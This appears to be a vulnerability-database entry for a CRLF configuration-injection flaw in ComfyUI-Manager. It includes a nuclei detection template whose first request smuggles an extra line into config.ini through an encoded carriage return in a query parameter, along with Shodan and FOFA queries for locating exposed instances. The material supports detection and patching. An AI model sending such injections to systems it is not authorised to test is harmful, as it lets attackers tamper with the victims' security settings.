ComfyUI-Manager < 3.39.2 - CRLF Configuration Injection

highseverity

7.5CVSS score

0.9%likelihood of exploitation, next 30 days

59%of all CVEs are less likely

Readycheck to confirm it

ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. Prior to versions 3.39.2 and 4.0.5, an attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the config.ini file. This can lead to security setting tampering or modification of application behavior.

Impact

Attackers can modify application configuration, potentially altering security settings or application behavior.

Fix

This issue has been patched in versions 3.39.2 and 4.0.5.

How to confirm it

Send: GET /manager/db_mode?value={{key}}%0D{{val}}%20%3D%20injected
Positive when: status_code == 200
Send: GET /manager/db_mode
Positive when: status_code == 200 and contains(to_lower(body), key) and contains(to_lower(body), val) and !contains(to_lower(body), key + val)

Run it with nuclei: nuclei -id CVE-2026-22777 -u <target>

The full check

id: CVE-2026-22777

info:
  name: ComfyUI-Manager < 3.39.2 - CRLF Configuration Injection
  author: TassioSales,DhiyaneshDk
  severity: high
  description: |
    ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. Prior to versions 3.39.2 and 4.0.5, an attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the config.ini file. This can lead to security setting tampering or modification of application behavior.
  impact: |
    Attackers can modify application configuration, potentially altering security settings or application behavior.
  remediation: |
     This issue has been patched in versions 3.39.2 and 4.0.5.
  reference:
    - https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2
    - https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22777
    - https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2026-22777
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-22777
    epss-score: 0.00866
    epss-percentile: 0.58979
    cwe-id: CWE-93
  metadata:
    verified: true
    max-request: 2
    vendor: comfy
    product: comfyui-manager
    shodan-query: http.title:"ComfyUI"
    fofa-query: title="ComfyUI"
  tags: cve,cve2026,comfyui,comfyui-manager,comfy,crlf,config-injection,intrusive,unauth

variables:
  key: "{{to_lower(rand_text_alpha(8))}}"
  val: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /manager/db_mode?value={{key}}%0D{{val}}%20%3D%20injected HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /manager/db_mode HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), key)'
          - 'contains(to_lower(body), val)'
          - '!contains(to_lower(body), key + val)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from